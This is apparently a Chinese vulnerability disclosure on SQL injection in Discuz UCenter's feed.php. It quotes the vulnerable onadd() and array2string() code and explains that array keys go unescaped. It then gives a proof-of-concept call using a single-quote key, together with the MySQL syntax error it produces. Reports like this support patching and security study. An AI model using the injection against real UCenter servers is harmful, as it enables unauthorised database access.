### 简要描述：因为帮finger解决问题，无意中看到的漏洞。怎么拿到key要问finger。 ### 详细说明：在/uc_server/control/feed.php内有一段代码： ``` function onadd() { $this->load('misc'); $appid = intval($this->input('appid')); $icon = $this->input('icon'); $uid = intval($this->input('uid')); $username = $this->input('username'); $body_data = $_ENV['misc']->array2string($this->input('body_data')); ``` 中的 ``` $body_data = $_ENV['misc']->array2string($this->input('body_data')); ``` 中的array2string实际上的代码如下： ``` function array2string($arr) { $s = $sep = ''; if($arr && is_array($arr)) { foreach($arr as $k => $v) { $s .= $sep.$k.UC_ARRAY_SEP_1.$v; $sep = UC_ARRAY_SEP_2; } } return $s; } ``` Discuz的daddslashes并不处理key，所以： ``` $tmp = call_user_func(UC_API_FUNC, 'feed', 'add',array('body_data'=>array("'"=>'aaa'))); ``` 这里的调用使用key为单引号便可以触发SQL注射。 ### 漏洞证明：利用代码 ``` $tmp = call_user_func(UC_API_FUNC, 'feed', 'add',array('body_data'=>array("'"=>'aaa'))); ``` UCenter info: MySQL Query Error
SQL:INSERT INTO [Table]feeds SET appid='0', icon='', uid='0', username='', title_template='', title_data='', body_template='', body _data=''UC_ARRAY_SEP_1aaa', body_general='', image_1='', image_1_link='', image_2='', image_2_link='' , image_3='', image_3_link='', image_4='', image_4_link='' , hash_template='d41d8cd98f00b204e9800998ecf8427e', hash_d ata='c80d91f685d2292acad8bc4cf8542c7c', target_ids='', dateline='1415787848'
Error:You have an error in your SQL syntax; check the manual that corre sponds to your MySQL server version for the right syntax to use near 'UC_ARRAY_S EP_1aaa', body_general='',\x0D\x0A\x09\x09\x09image_1='', image_1_link' at line 2
Errno:1064